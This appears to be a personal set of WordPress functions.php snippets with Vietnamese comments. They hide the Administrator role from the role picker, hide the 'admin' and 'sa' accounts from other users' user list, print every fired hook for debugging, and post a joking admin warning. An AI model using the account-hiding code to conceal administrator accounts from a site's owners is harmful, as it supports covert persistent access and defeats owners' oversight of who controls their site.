// Remove Administrator role from roles list
add_action( 'editable_roles' , 'hide_adminstrator_editable_roles' );
function hide_adminstrator_editable_roles( $roles ){
if ( isset( $roles['administrator'] ) && !current_user_can('level_10') ){
unset( $roles['administrator'] );
}
return $roles;
}
//* Hide this administrator account from the users list
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == 'admin' || $username == 'sa') {
}
else {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'admin' AND {$wpdb->users}.user_login != 'sa' ",$user_search->query_where);
}
}
# LIST ALL HOOKS ON REQUEST
$debug_tags = array();
add_action( 'all', function ( $tag ) {
global $debug_tags;
if ( in_array( $tag, $debug_tags ) ) {
return;
}
echo "<pre>" . $tag . "</pre>";
$debug_tags[] = $tag;
} );
add_action('all_admin_notices' , 'warning_msg_abc');
function warning_msg_abc($query) {
global $wp_query;
if($wp_query->get('post_type') == 'post'){
echo '<div class=" notice notice-warning">
<h2>Đừng post/edit bài viết trong thời gian này, lỳ lỳ mất ráng chịu nha! 🤪</h2>
</div>';
}
}
Xử lý vụ functions.php chay trc, k the remove_action